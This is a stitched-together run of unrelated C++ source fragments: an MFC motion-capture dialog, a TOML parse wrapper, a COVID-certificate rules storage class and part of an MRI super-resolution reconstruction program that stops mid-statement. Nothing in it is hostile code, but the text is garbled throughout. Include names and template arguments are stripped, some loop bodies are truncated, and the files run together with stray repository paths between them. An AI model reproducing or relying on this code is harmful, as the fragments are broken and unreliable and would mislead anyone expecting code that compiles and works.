TEMP FIX! END_MESSAGE_MAP() // CLiveMocapDialog::CLiveMocapDialog() { Create(WS_CHILD | WS_VISIBLE, CRect(0, 0, 0, 0), ::AfxGetMainWnd()); } CLiveMocapDialog::~CLiveMocapDialog() { } // void CLiveMocapDialog::DoDataExchange(CDataExchange* pDX) { CBaseFrameWnd::DoDataExchange(pDX); } BOOL CLiveMocapDialog::OnInitDialog() { if (!CBaseFrameWnd::OnInitDialog()) { return false; } m_splitters[0].CreateStatic(this, 1, 2, WS_CHILD | WS_VISIBLE); m_splitters[0].SetSplitterStyle(XT_SPLIT_NOFULLDRAG | XT_SPLIT_NOBORDER | XT_SPLIT_DOTTRACKER); m_splitters[0].SetColumnInfo(0, 160, 0); m_splitters[1].CreateStatic(&m_splitters[0], 3, 1, WS_CHILD | WS_VISIBLE); m_splitters[1].SetSplitterStyle(XT_SPLIT_NOFULLDRAG | XT_SPLIT_NOBORDER | XT_SPLIT_DOTTRACKER); m_splitters[1].SetRowInfo(0, 160, 0); m_splitters[1].SetRowInfo(1, 160, 0); m_splitters[1].SetDlgCtrlID(m_splitters[0].IdFromRowCol(0, 0)); m_tree.Create(&m_splitters[1], eID_Tree); m_tree.SetDlgCtrlID(m_splitters[1].IdFromRowCol(0, 0)); m_properties.SetParent(&m_splitters[1]); m_properties.SetDlgCtrlID(m_splitters[1].IdFromRowCol(1, 0)); m_properties.ShowWindow(SW_SHOWDEFAULT); m_graphProperties.SetParent(&m_splitters[1]); m_graphProperties.SetDlgCtrlID(m_splitters[1].IdFromRowCol(2, 0)); m_graphProperties.ShowWindow(SW_SHOWDEFAULT); m_graphViewWrapper.reset(new Skeleton::CMapperGraphViewWrapper(&m_splitters[0])); m_graphViewWrapper->SetDlgCtrlID(m_splitters[0].IdFromRowCol(0, 1)); m_graphViewWrapper->ShowWindow(SW_SHOWDEFAULT); m_graphView = m_graphViewWrapper->m_view; m_graphView->AddListener(this); m_tree.m_pGraphView = m_graphView; m_tree.RefreshConnections(); return true; } // void CLiveMocapDialog::DisplayConnectioProperties(CLiveMocapConnection* pConnection) { } void CLiveMocapDialog::DisplayActorProperties(CLiveMocapActor* pActor) { m_splitters[1].HideRow(1); CVariableArray* pLocations = new CVariableArray(); pLocations->SetHumanName("Locations"); pLocations->AddVariable(pActor->m_locationsShow); pLocations->AddVariable(pActor->m_locationsShowName); pLocations->AddVariable(pActor->m_locationsShowHierarchy); pLocations->AddVariable(pActor->m_locationsFreeze); CVariableArray* pEntity = new CVariableArray(); pEntity->AddVariable(pActor->m_entityUpdate); pEntity->AddVariable(pActor->m_entityShowHierarchy); pEntity->AddVariable(pActor->m_entityScale); CVarBlockPtr varBlock = new CVarBlock(); varBlock->AddVariable(pLocations); varBlock->AddVariable(pEntity); m_properties.AddVars(varBlock); m_splitters[1].ShowRow(); } void CLiveMocapDialog::OnTreeSelection(NMHDR*, LRESULT*) { m_properties.DeleteVars(); if (CLiveMocapConnection* pConnection = m_tree.GetSelectedConnection()) { DisplayConnectioProperties(pConnection); return; } if (CLiveMocapActor* pActor = m_tree.GetSelectedActor()) { DisplayActorProperties(pActor); m_graphView->SetGraph(pActor->GetSkeletonMapperGraph()); return; } } // Skeleton::IMapperGraphViewListener void CLiveMocapDialog::OnSelection(const std::vector& previous, const std::vector& current) { m_graphProperties.DeleteVars(); if (current.empty()) { return; } if (current[0]->GetClassName().compare("Node", Qt::CaseInsensitive) == 0) { return; } Skeleton::CMapperOperator* pOperator = ((Skeleton::CMapperGraphManager::COperator*)current[0])->GetOperator(); if (!pOperator) { return; } uint32 parameterCount = pOperator->GetParameterCount(); if (!parameterCount) { return; } CVarBlockPtr varBlock = new CVarBlock(); for (uint32 i = 0; i < parameterCount; ++i) { varBlock->AddVariable(pOperator->GetParameter(i)); } m_graphProperties.AddVars(varBlock); } mayah/baseencoding/toml/toml.cc #include "encoding/toml/toml.h" #include "encoding/toml/toml_parser.h" namespace toml { ParseResult parse(std::istream& is) { Parser parser(is); toml::Value v = parser.parse(); if (v.valid()) return ParseResult(std::move(v), std::string()); return ParseResult(std::move(v), std::move(parser.error_reason())); } } // namespace toml 1-10 // Copyright (c) 2021 // Licensed under the Apache License, Version 2.0 #include #include #include #include namespace verificaC19Sdk { RulesStorageFile::RulesStorageFile() : m_updatingMode(false) { std::ifstream frules; frules.open("rules.json"); Json::CharReaderBuilder builder; Json::CharReader* reader = builder.newCharReader(); std::stringstream srules; srules << frules.rdbuf(); frules.close(); std::string rules = srules.str(); std::string errors; reader->parse(rules.c_str(), rules.c_str() + rules.length(), &m_rules, &errors); delete reader; } std::string RulesStorageFile::getRule(const std::string& name, const std::string& type) const { std::string rule; std::string key = name + "-" + type; if (m_rules.isMember(key)) { rule = m_rules[key].asString(); } return rule; } void RulesStorageFile::beginUpdatingRules() { m_updatingMode = true; m_updatingRules.clear(); } void RulesStorageFile::storeRule(const std::string& name, const std::string& type, const std::string& value) { std::string key = name + "-" + type; if (m_updatingMode) { m_updatingRules[key] = value; } else { // permit insert without "transaction" mode m_rules[key] = value; m_rules["_lastUpdate"] = (int)time(NULL); std::ofstream frules; frules.open("rules.json"); Json::StreamWriterBuilder builder; Json::StreamWriter* fastWriter = builder.newStreamWriter(); fastWriter->write(m_rules, &frules); frules.close(); delete fastWriter; } } void RulesStorageFile::commitUpdatedRules() { m_rules = m_updatingRules; m_updatingRules.clear(); m_updatingMode = false; m_rules["_lastUpdate"] = (int)time(NULL); std::ofstream frules; frules.open("rules.json"); Json::StreamWriterBuilder builder; Json::StreamWriter* fastWriter = builder.newStreamWriter(); fastWriter->write(m_rules, &frules); frules.close(); } void RulesStorageFile::rollbackUpdatedRules() { m_updatingRules.clear(); m_updatingMode = false; } } // namespace verificaC19Sdk 10-100 /*========================================================================= Program: Performs robust, segmentation-driven, Total-Variation-regularized super-resolution image reconstruction. Author: $$ Copyright (c) 2017 Medical Image Analysis Laboratory (MIAL), Lausanne This software is distributed WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. ==========================================================================*/ #if defined(_MSC_VER) #pragma warning ( disable : 4786 ) #endif /* Standard includes */ #include #include #include #include #include #include /* Itk includes */ #include "itkEuler3DTransform.h" #include "itkVersorRigid3DTransform.h" #include "itkImage.h" #include "itkImageFileReader.h" #include "itkImageFileWriter.h" #include "itkImageMaskSpatialObject.h" #include "itkTransformFileReader.h" #include "itkTransformFactory.h" #include "itkCastImageFilter.h" #include "itkResampleImageFilter.h" #include "itkPermuteAxesImageFilter.h" #include "itkFlipImageFilter.h" #include "itkOrientImageFilter.h" /*Btk includes*/ #include "mialsrtkSliceBySliceTransform.h" //#include "btkSuperResolutionImageFilter.h" #include "mialsrtkRobustSuperResolutionRigidImageFilterWithGMM.h" #include "mialsrtkImageRegistrationFilter.h" #include "mialsrtkLowToHighImageResolutionMethod.h" #include "itkImageDuplicator.h" #include "mialsrtkMaths.h" /* Time profiling */ /* #ifdef __MACH__ #include #include #include #define CLOCK_REALTIME 0 #define CLOCK_MONOTONIC 0 #else #include #endif double getTime(void) { struct timespec tv; #ifdef __MACH__ clock_serv_t cclock; mach_timespec_t mts; host_get_clock_service(mach_host_self(), CALENDAR_CLOCK, &cclock); if(clock_get_time(cclock, &mts) != 0) return 0; mach_port_deallocate(mach_task_self(), cclock); tv.tv_sec = mts.tv_sec; tv.tv_nsec = mts.tv_nsec; #else if(clock_gettime(CLOCK_REALTIME, &tv) != 0) return 0; #endif return (((double) tv.tv_sec) + (double) (tv.tv_nsec / 1000000000.0)); } */ int main( int argc, char *argv[] ) { try { std::vector< std::string > input; std::vector< std::string > pre_input; std::vector< std::string > mask; std::vector< std::string > transform; std::vector< std::string > outTransform; double gap = 0.0; const char *debugDir = NULL; const char *debugfilename = "SR_igd_debug_loop_"; const char *outImage = NULL; const char *refImage = NULL; const char *refMask = NULL; std::string wList,meanList,varList; std::vector< std::string > wFile,meanFile,varFile; const char *test = "undefined"; std::vector< int > x1, y1, z1, x2, y2, z2; unsigned int iter; float beta; float lambda; float deltat = 1.0; float normD = 12.0; float theta_init = 1.0; float gamma = 1.0; float stepScale = 1.0; float tau_init = 1 / sqrt (12.0); float sigma_init = 1 / sqrt(12.0); float huberCriterion = 5.0; double innerConvThreshold; double outerConvThreshold; int numberOfLoops; int numberOfBregmanLoops; double start_time_unix, end_time_unix, diff_time_unix; // Parse arguments TCLAP::CmdLine cmd("Apply super-resolution algorithm using one or multiple input images.", ' ', "Unversioned"); // Input LR images TCLAP::MultiArg inputArg("i","input","Low-resolution image file",true,"string",cmd); // Input LR masks TCLAP::MultiArg maskArg("m","mask","low-resolution image mask file",false,"string",cmd); // Ouput HR image TCLAP::ValueArg outArg ("o","output","Super resolution output image",true,"","string",cmd); // Input reconstructed image for initialization TCLAP::ValueArg refArg ("r","reconstructed","Reconstructed image for initialization. " "Typically the output of btkImageReconstruction is used." ,true,"","string",cmd); // Input motion parameters - Used only if initHR is disable, meaning that motion parameters were previously estimated TCLAP::MultiArg transArg("t","in-transform","transform file",false,"string",cmd); //Optimization parameters TCLAP::ValueArg iterArg ("","iter","Number of inner iterations (default = 50)",false, 50,"int",cmd); TCLAP::ValueArg betaArg ("","beta","GMM-based Regularization factor (default = 0.1)",false, 0.1,"float",cmd); TCLAP::ValueArg lambdaArg ("","lambda","TV Regularization factor (default = 0.1)",false, 0.1,"float",cmd); TCLAP::ValueArg deltatArg ("","deltat","Parameter deltat (default = 1.0)",false, 1.0,"float",cmd); TCLAP::ValueArg gammaArg ("","gamma","Parameter gamma (default = 1.0)",false, 1.0,"float",cmd); TCLAP::ValueArg stepScaleArg ("","step-scale","Parameter step scale (default = 1.0)",false, 1.0,"float",cmd); TCLAP::ValueArg innerLoopThresholdArg ("","inner-thresh","Inner loop convergence threshold (default = 1e-4)",false, 1e-4,"double",cmd); TCLAP::ValueArg outerLoopThresholdArg ("","outer-thresh","Outer loop convergence threshold (default = 1e-4)",false, 1e-4,"double",cmd); TCLAP::ValueArg loopArg ("","loop","Number of loops (SR/denoising) (default = 5)",false, 5,"int",cmd); TCLAP::ValueArg bregmanLoopArg ("","bregman-loop","Number of Bregman loops (default = 10)",false, 10,"int",cmd); TCLAP::SwitchArg boxcarSwitchArg("","boxcar","A boxcar-shaped PSF is assumed as imaging model" " (by default a Gaussian-shaped PSF is employed.).",cmd,false); // Flag that enables the update of motion parameters during SR TCLAP::SwitchArg updateMotionSwitchArg("","update-motion","Flag to enable the update of motion parameters during SR" " (by default it is disable.).",cmd,false); // Arguments only used when motion estimation is updated during SR // Mask of the reconstructed image for initialization TCLAP::ValueArg refMaskArg("","mask-reconstructed","Mask of the reconstructed image for initialization - Only used when motion estimation is updated during SR ",false,"","string",cmd); //Input preprocessed images for the first reconstruction - TCLAP::MultiArg preInputArg("","pre-input","Low-resolution pre-processed image file - Only used when motion estimation is updated during SR",false,"string",cmd); // Used only if initHR is enable // Output motion parameters - Only used when motion estimation is updated during SR TCLAP::MultiArg outTransArg("","out-transform","output transform file - Only used when motion estimation is updated during SR",false,"string",cmd); TCLAP::ValueArgdebugDirArg("","debug","Directory where SR reconstructed image at each outer loop of the reconstruction optimization is saved",false,"","string",cmd); //GMM parameters for feedback in the image restoration/reconstruction (SR) algorithm //TCLAP::ValueArg wArg("","weight-image","Vector image (dim: number of tissue segmented) of the weights (GMM)",true,"","vector image",cmd); //TCLAP::ValueArg meanArg("","mean-image","Vector image (dim: number of tissue segmented) of the means (GMM)",true,"","vector image",cmd); //TCLAP::ValueArg varArg("","var-image","Vector image (dim: number of tissue segmented) of the variances (GMM)",true,"","vector image",cmd); //V1: take multiple inputs for each segmentation //TCLAP::MultiArg wArg("","weight-image","Vector image (dim: number of tissue segmented) of the weights (GMM)",true,"string",cmd); //TCLAP::MultiArg meanArg("","mean-image","Vector image (dim: number of tissue segmented) of the means (GMM)",true,"string",cmd); //TCLAP::MultiArg varArg("","var-image","Vector image (dim: number of tissue segmented) of the variances (GMM)",true,"string",cmd); //V2: take one input that is a list of segmentation TCLAP::ValueArg wListArg("W","gmm-weight-list","File containing a list of GMM segmentation weights",false,"undef","gmm weights list",cmd); TCLAP::ValueArg meanListArg("M","gmm-mean-list","File containing a list of GMM segmentation means",false,"undef","gmm means list",cmd); TCLAP::ValueArg varListArg("V","gmm-var-list","File containing a list of GMM segmentation variances",false,"undef","gmm variances list",cmd); TCLAP::SwitchArg useRobustSRArg("","use-robust","Flag to enable the use of robust energy in SR" " (by default it is disable.). If enable, rho1 and rho2 tuning parameters can be set with flags --rho1 and --rho2. (rho1,rho2 =1e-1 by default)",cmd,false); TCLAP::ValueArg rho1Arg ("","rho1","Parameter rho1 (default = 0.1), used only in RobustSR flag is enabled.",false, 0.1,"float",cmd); TCLAP::ValueArg rho2Arg ("","rho2","Parameter rho2 (default = 0.1), used only in RobustSR flag is enabled.",false, 0.1,"float",cmd); TCLAP::ValueArg huberArg ("","huber-mode","Control how many median absolute deviations (MADs) from the median error must a point be before it becomes an outlier (Huber norm threshold), (default = 5.0), used only in RobustSR flag is enabled.",false, 2.0,"float",cmd); TCLAP::ValueArg upscalingArg("","upscaling-factor","Upscaling factor used in the super resolution (default = 1)",false, 2,"float",cmd); // Parse the argv array. cmd.parse( argc, argv ); input = inputArg.getValue(); mask = maskArg.getValue(); outImage = outArg.getValue().c_str(); refImage = refArg.getValue().c_str(); transform = transArg.getValue(); refMask = refMaskArg.getValue().c_str(); pre_input = preInputArg.getValue(); outTransform = outTransArg.getValue(); //V1 //wFile=wArg.getValue(); //meanFile=meanArg.getValue(); //varFile=varArg.getValue(); //V2 wList = wListArg.getValue(); meanList = meanListArg.getValue(); varList = varListArg.getValue(); iter = iterArg.getValue(); beta = betaArg.getValue(); lambda = lambdaArg.getValue(); deltat = deltatArg.getValue(); gamma = gammaArg.getValue(); innerConvThreshold = innerLoopThresholdArg.getValue(); outerConvThreshold = outerLoopThresholdArg.getValue(); numberOfLoops = loopArg.getValue(); numberOfBregmanLoops = bregmanLoopArg.getValue(); stepScale = stepScaleArg.getValue(); tau_init = stepScale * tau_init; sigma_init = ( 1 / stepScale ) * sigma_init; debugDir = debugDirArg.getValue().c_str(); if ( ( strcmp(refMask,"") == 0 || pre_input.size() == 0 ) && updateMotionSwitchArg.isSet()) { std::cout << "Execution abandonned - Motion Update during SR is enable but some required input are missing" << std::endl; return EXIT_FAILURE; } // typedefs const unsigned int Dimension = 3; typedef mialsrtk::SliceBySliceTransformBase< double, Dimension > TransformBaseType; typedef mialsrtk::SliceBySliceTransform< double, Dimension > TransformType; typedef TransformType::Pointer TransformPointer; // Register the SliceBySlice transform (a non-default ITK transform) with the TransformFactory of ITK itk::TransformFactory::RegisterTransform(); typedef float PixelType; typedef itk::Image< PixelType, Dimension > ImageType; typedef ImageType::Pointer ImagePointer; typedef std::vector ImagePointerArray; typedef itk::Image< unsigned char, Dimension > ImageMaskType; typedef itk::ImageFileReader< ImageMaskType > MaskReaderType; typedef itk::ImageMaskSpatialObject< Dimension > MaskType; typedef ImageType::RegionType RegionType; typedef std::vector< RegionType > RegionArrayType; typedef itk::ImageFileReader< ImageType > ImageReaderType; typedef itk::ImageFileWriter< ImageType > WriterType; typedef itk::TransformFileReader TransformReaderType; typedef TransformReaderType::TransformListType * TransformListType; //Vector image type typedef itk::VectorImage VectorImageType; typedef VectorImageType::Pointer VectorImagePointer; typedef itk::ImageFileReader VectorImageReaderType; /* Registration type required in case of slice by slice transformations A rigid transformation is employed because there is not distortions like in diffusion imaging. We have performed a comparison of accuracy between both types of transformations. */ typedef mialsrtk::SliceBySliceRigidRegistration RegistrationType; typedef RegistrationType::Pointer RegistrationPointer; // Rigid 3D transform definition (typically for reconstructions in adults) typedef itk::VersorRigid3DTransform< double > Rigid3DTransformType; typedef Rigid3DTransformType::Pointer Rigid3DTransformPointer; typedef itk::Euler3DTransform< double > EulerTransformType; // Resampler type required in case of a slice by slice transform typedef mialsrtk::ResampleImageByInjectionFilter< ImageType, ImageType > ResamplerByInjectionType; // Registration Metric typedef itk::NormalizedCorrelationImageToImageMetric< ImageType,ImageType > NCMetricType; //typedef btk::ImageIntersectionCalculator IntersectionCalculatorType; //IntersectionCalculatorType::Pointer intersectionCalculator = IntersectionCalculatorType::New(); // Interpolator used to compute the error metric between 2 registration iterations //typedef itk::LinearInterpolateImageFunction InterpolatorType; typedef itk::BSplineInterpolateImageFunction InterpolatorType; //typedef itk::CastImageFilter CasterType; // A helper class which creates an image which is perfect copy of the input image typedef itk::ImageDuplicator DuplicatorType; // Super resolution filter that solves the inverse problem typedef mialsrtk::RobustSuperResolutionRigidImageFilterWithGMM< ImageType, ImageType > ResamplerType; ResamplerType::Pointer resampler = ResamplerType::New(); typedef itk::OrientImageFilter OrientImageFilterType; typedef itk::OrientImageFilter OrientImageMaskFilterType; typedef itk::LinearInterpolateImageFunction LinearInterpolatorType; typedef itk::ResampleImageFilter ResampleImageFilterType; typedef itk::LinearInterpolateImageFunction VectorLinearInterpolatorType; typedef itk::NearestNeighborInterpolateImageFunction VectorNNInterpolatorType; typedef itk::ResampleImageFilter ResampleVectorImageFilterType; typedef itk::NearestNeighborInterpolateImageFunction NNInterpolatorType; typedef itk::ResampleImageFilter ResampleImageMaskFilterType; unsigned int numberOfImages = input.size(); //V1 //unsigned int numberOfSegmentations = wFile.size(); std::vector orientImageFilter(numberOfImages); std::vector orientMaskImageFilter(numberOfImages); std::vector< ImagePointer > preImages(numberOfImages); std::vector< ImageMaskType::Pointer > imageMasks(numberOfImages); std::vector< TransformPointer > transforms(numberOfImages); std::vector< RegistrationPointer > registration(numberOfImages); std::vector masks(numberOfImages); std::vector< RegionType > rois(numberOfImages); ImageType::IndexType roiIndex; ImageType::SizeType roiSize; // Filter setup for (unsigned int i=0; i SetFileName( input[i].c_str() ); imageReader -> Update(); resampler -> AddInput( imageReader -> GetOutput() ); /* orientImageFilter[i] = OrientImageFilterType::New(); orientImageFilter[i] -> UseImageDirectionOn(); orientImageFilter[i] -> SetDesiredCoordinateOrientation(itk::SpatialOrientation::ITK_COORDINATE_ORIENTATION_RIP); orientImageFilter[i] -> SetInput(imageReader -> GetOutput()); orientImageFilter[i] -> Update(); resampler -> AddInput( orientImageFilter[i] -> GetOutput() ); */ //registrationFilter -> AddImage(imageReader -> GetOutput()); // add region if ( mask.size() > 0 ) { std::cout<<"Reading mask image : "< SetFileName( mask[i].c_str() ); maskReader -> Update(); imageMasks[i] = maskReader -> GetOutput(); /* orientMaskImageFilter[i] = OrientImageMaskFilterType::New(); orientMaskImageFilter[i] -> UseImageDirectionOn(); orientMaskImageFilter[i] -> SetDesiredCoordinateOrientation(itk::SpatialOrientation::ITK_COORDINATE_ORIENTATION_RIP); orientMaskImageFilter[i] -> SetInput(maskReader -> GetOutput()); orientMaskImageFilter[i] -> Update(); imageMasks[i] = orientMaskImageFilter[i] -> GetOutput(); */ //MaskType::Pointer mask = MaskType::New(); masks[i]= MaskType::New(); masks[i] -> SetImage( imageMasks[i] ); rois[i] = masks[i] -> GetAxisAlignedBoundingBoxRegion(); //std::cout << "rois "<< i << " : "< AddMask( masks[i] ); RegionType roi = masks[i] -> GetAxisAlignedBoundingBoxRegion(); roiIndex = roi.GetIndex(); roiSize = roi.GetSize(); } else { std::cout<<"Creating a mask image (entire input image)"< GetOutput() -> GetLargestPossibleRegion().GetSize(); roiIndex = imageReader -> GetOutput() -> GetLargestPossibleRegion().GetIndex(); } RegionType imageRegion; imageRegion.SetIndex(roiIndex); imageRegion.SetSize (roiSize); resampler -> AddRegion( imageRegion ); if ( pre_input.size() > 0) { // add image std::cout<<"Reading pre-processed image : "< SetFileName( pre_input[i].c_str() ); preImageReader -> Update(); preImages[i] = preImageReader -> GetOutput(); } if (transform.size() > 0 ) { std::cout<<"Reading transform:"< SetFileName( transform[i] ); transformReader -> Update(); TransformListType transformsList = transformReader->GetTransformList(); TransformReaderType::TransformListType::const_iterator titr = transformsList->begin(); TransformPointer trans = static_cast< TransformType * >( titr->GetPointer() ); //transforms[i]= TransformType::New(); transforms[i] = TransformType::New(); transforms[i]=static_cast< TransformType * >( titr->GetPointer() ); //transforms[i] -> SetImage( preImages[i] ); //transforms[i] -> SetImage( orientImageFilter[i] -> GetOutput()); transforms[i] -> SetImage( imageReader -> GetOutput()); for(unsigned int j=0; j< trans -> GetNumberOfSlices(); j++) resampler -> SetTransform(i, j, trans -> GetSliceTransform(j) ) ; } } // Set the reference image std::cout<<"Reading the reference image : "< SetFileName( refImage ); refReader -> Update(); ImageType::Pointer referenceIm = refReader->GetOutput(); ImageType::SizeType refSize = referenceIm->GetLargestPossibleRegion().GetSize(); ImageType::SpacingType refSpacing = referenceIm->GetSpacing(); ImageType::SpacingType newRefSpacing; newRefSpacing[0] = refSpacing[0] / upscalingArg.getValue(); newRefSpacing[1] = refSpacing[1] / upscalingArg.getValue(); newRefSpacing[2] = refSpacing[2] / upscalingArg.getValue(); ImageType::SizeType newRefSize; newRefSize[0]= ( refSpacing[0] / newRefSpacing[0] ) * refSize[0]; newRefSize[1]= ( refSpacing[1] / newRefSpacing[1] ) * refSize[1]; newRefSize[2]= ( refSpacing[2] / newRefSpacing[2] ) * refSize[2]; LinearInterpolatorType::Pointer linInterpolator = LinearInterpolatorType::New(); EulerTransformType::Pointer idTransform = EulerTransformType::New(); idTransform->SetIdentity(); ResampleImageFilterType::Pointer upsampler = ResampleImageFilterType::New(); upsampler -> SetTransform(idTransform); upsampler -> SetInterpolator( linInterpolator ); upsampler -> SetOutputParametersFromImage(referenceIm); //upsampler -> SetOutputDirection(referenceIm->GetDirection()); //upsampler -> SetOutputOrigin(referenceIm->GetOrigin()); upsampler -> SetOutputSpacing(newRefSpacing); upsampler -> SetSize(newRefSize); upsampler -> SetInput(referenceIm); upsampler -> Update(); upsampler -> Print( std::cout ); referenceIm = upsampler->GetOutput(); referenceIm -> Print( std::cout ); /* OrientImageFilterType::Pointer orientRefImageFilter = OrientImageFilterType::New(); orientRefImageFilter -> UseImageDirectionOn(); orientRefImageFilter -> SetDesiredCoordinateOrientation(itk::SpatialOrientation::ITK_COORDINATE_ORIENTATION_RIP); orientRefImageFilter -> SetInput(refReader -> GetOutput()); orientRefImageFilter -> Update(); ImageType::Pointer referenceIm = orientRefImageFilter->GetOutput(); */ ImageType::RegionType referenceRegion = referenceIm->GetLargestPossibleRegion(); //std::cout << "Reference region : " << referenceIm->GetLargestPossibleRegion() << std::endl; //std::cout << "Reference image size at loading : " << referenceIm->GetLargestPossibleRegion().GetNumberOfPixels() << std::endl; // Set the mask of the reference image if provided ImageMaskType::Pointer imageMaskCombination; if(strcmp(refMask,"") != 0) { MaskReaderType::Pointer refMaskReader = MaskReaderType::New(); refMaskReader -> SetFileName( refMask ); refMaskReader -> Update(); imageMaskCombination = refMaskReader -> GetOutput(); NNInterpolatorType::Pointer nnInterpolator = NNInterpolatorType::New(); ResampleImageMaskFilterType::Pointer maskUpsampler = ResampleImageMaskFilterType::New(); maskUpsampler -> SetInterpolator(nnInterpolator); maskUpsampler -> SetInput(refMaskReader->GetOutput()); maskUpsampler -> SetTransform(idTransform); maskUpsampler -> SetOutputParametersFromImage(imageMaskCombination); maskUpsampler -> SetOutputSpacing(newRefSpacing); maskUpsampler -> SetSize(newRefSize); maskUpsampler -> Update(); imageMaskCombination = maskUpsampler->GetOutput(); /* OrientImageMaskFilterType::Pointer orientRefMaskImageFilter = OrientImageMaskFilterType::New(); orientRefMaskImageFilter -> UseImageDirectionOn(); orientRefMaskImageFilter -> SetDesiredCoordinateOrientation(itk::SpatialOrientation::ITK_COORDINATE_ORIENTATION_RIP); orientRefMaskImageFilter -> SetInput(refMaskReader -> GetOutput()); orientRefMaskImageFilter -> Update(); imageMaskCombination = orientRefMaskImageFilter -> GetOutput() */ } std::cout << "==========================================================================" << std::endl << std::endl; //V1 /* std::vector< VectorImagePointer > weightVImages(numberOfSegmentations); std::vector< VectorImagePointer > meanVImages(numberOfSegmentations); std::vector< VectorImagePointer > varVImages(numberOfSegmentations); for(unsigned int i=0; i < numberOfSegmentations; i++) { std::cout<<"Reading GMM parameters of segmentation # " << i << std::endl; // Read the vector images with GMM parameters std::cout<<"Reading the GMM weights : " << wFile[i] << std::endl; VectorImageReaderType::Pointer wReader = VectorImageReaderType::New(); wReader -> SetFileName( wFile[i] ); wReader -> Update(); weightVImages[i] = wReader -> GetOutput(); std::cout<<"Reading the GMM means : " << meanFile[i] << std::endl; VectorImageReaderType::Pointer meanReader = VectorImageReaderType::New(); meanReader -> SetFileName( meanFile[i] ); meanReader -> Update(); meanVImages[i] = meanReader -> GetOutput(); std::cout<<"Reading the GMM variances : " << varFile[i] << std::endl; VectorImageReaderType::Pointer varReader = VectorImageReaderType::New(); varReader -> SetFileName( varFile[i] ); varReader -> Update(); varVImages[i] = varReader -> GetOutput(); std::cout << std::endl; std::cout << "**********************************************************************\n" << std::endl; } */ //V2 unsigned int nbSegsW=0; if(strcmp(wList.c_str(),"undef") != 0) { std::ifstream fileInW(wList.c_str()); if (!fileInW.is_open() && beta>0) { std::cerr << "GMM weight file list " << wList.c_str() << " does not exist... Exiting..." << std::endl; exit(-1); } while (!fileInW.eof() && beta>0) { char tmpStr[2048]; fileInW.getline(tmpStr,2048); if (strcmp(tmpStr,"") == 0) continue; wFile.push_back(tmpStr); nbSegsW++; } unsigned int nbSegsM=0; std::ifstream fileInM(meanList.c_str()); if (!fileInM.is_open() && beta>0) { std::cerr << "GMM mean file list " << meanList.c_str() << " does not exist... Exiting..." << std::endl; exit(-1); } while (!fileInM.eof() && beta>0) { char tmpStr[2048]; fileInM.getline(tmpStr,2048); if (strcmp(tmpStr,"") == 0) continue; meanFile.push_back(tmpStr); nbSegsM++; } unsigned int nbSegsV=0; std::ifstream fileInV(varList.c_str()); if (!fileInV.is_open() && beta>0) { std::cerr << "GMM variance file list " << varList.c_str() << " does not exist... Exiting..." << std::endl; exit(-1); } while (!fileInV.eof() && beta>0) { char tmpStr[2048]; fileInV.getline(tmpStr,2048); if (strcmp(tmpStr,"") == 0) continue; varFile.push_back(tmpStr); nbSegsV++; } if( nbSegsW!=nbSegsM && nbSegsW!=nbSegsV && beta>0) { std::cerr << "Input GMM parameter lists do not match!" << std::endl; exit(-1); } } unsigned int numberOfSegmentations = nbSegsW; std::vector< VectorImagePointer > weightVImages(numberOfSegmentations); std::vector< VectorImagePointer > meanVImages(numberOfSegmentations); std::vector< VectorImagePointer > varVImages(numberOfSegmentations); if(strcmp(wList.c_str(),"undef")!=0) { for(unsigned int i=0; i < numberOfSegmentations; i++) { std::cout<<"Reading GMM parameters of segmentation # " << i << std::endl; // Read the vector images with GMM parameters std::cout<<"Reading the GMM weights : " << wFile[i] << std::endl; VectorImageReaderType::Pointer wReader = VectorImageReaderType::New(); wReader -> SetFileName( wFile[i] ); wReader -> Update(); weightVImages[i] = wReader -> GetOutput(); VectorNNInterpolatorType::Pointer vNNInterpolator = VectorNNInterpolatorType::New(); ResampleVectorImageFilterType::Pointer wUpsampler = ResampleVectorImageFilterType::New(); wUpsampler -> SetInterpolator(vNNInterpolator); wUpsampler -> SetInput(wReader -> GetOutput()); wUpsampler -> SetTransform(idTransform); wUpsampler -> SetOutputParametersFromImage(weightVImages[i]); wUpsampler -> SetOutputSpacing(newRefSpacing); wUpsampler -> SetSize(newRefSize); wUpsampler -> Update(); weightVImages[i] = wUpsampler -> GetOutput(); weightVImages[i] -> Update(); std::cout<<"Reading the GMM means : " << meanFile[i] << std::endl; VectorImageReaderType::Pointer meanReader = VectorImageReaderType::New(); meanReader -> SetFileName( meanFile[i] ); meanReader -> Update(); meanVImages[i] = meanReader -> GetOutput(); ResampleVectorImageFilterType::Pointer mUpsampler = ResampleVectorImageFilterType::New(); mUpsampler -> SetInterpolator(vNNInterpolator); mUpsampler -> SetInput(meanReader -> GetOutput()); mUpsampler -> SetTransform(idTransform); mUpsampler -> SetOutputParametersFromImage(meanVImages[i]); mUpsampler -> SetOutputSpacing(newRefSpacing); mUpsampler -> SetSize(newRefSize); mUpsampler -> Update(); meanVImages[i] = mUpsampler -> GetOutput(); meanVImages[i] -> Update(); std::cout<<"Reading the GMM variances : " << varFile[i] << std::endl; VectorImageReaderType::Pointer varReader = VectorImageReaderType::New(); varReader -> SetFileName( varFile[i] ); varReader -> Update(); varVImages[i] = varReader -> GetOutput(); ResampleVectorImageFilterType::Pointer vUpsampler = ResampleVectorImageFilterType::New(); vUpsampler -> SetInterpolator(vNNInterpolator); vUpsampler -> SetInput(varReader -> GetOutput()); vUpsampler -> SetTransform(idTransform); vUpsampler -> SetOutputParametersFromImage(varVImages[i]); vUpsampler -> SetOutputSpacing(newRefSpacing); vUpsampler -> SetSize(newRefSize); vUpsampler -> Update(); varVImages[i] = vUpsampler -> GetOutput(); varVImages[i] -> Update(); std::cout << std::endl; std::cout << "**********************************************************************\n" << std::endl; } } std::cout << "==========================================================================" << std::endl << std::endl; std::cout << "Performing super resolution (TV using IGD) with the following settings: \n" << std::endl; std::cout << "# iterations max : " << iter << std::endl; std::cout << "# loop max : " << numberOfLoops << std::endl << std::endl; std::cout << "Lambda (TV reg.) : " << lambda << std::endl; std::cout << "Beta (GMM reg.) : " << beta << std::endl; std::cout << "Gamma : " << gamma << std::endl; std::cout << "Delta t : " << deltat << std::endl; std::cout << "Convergence threshold (inner) : " << innerConvThreshold << std::endl; std::cout << "Convergence threshold (outer) : " << outerConvThreshold << std::endl << std::endl; //resampler -> Print(std::cout); WriterType::Pointer debugwriter = WriterType::New(); /* debugwriter -> SetFileName( "/Users/sebastientourbier/Desktop/Patient01/SR/Manual/SR_Patient07_3V_noNLM_BCORR_NORM_after_init_loop.nii.gz" ); debugwriter -> SetInput( resampler 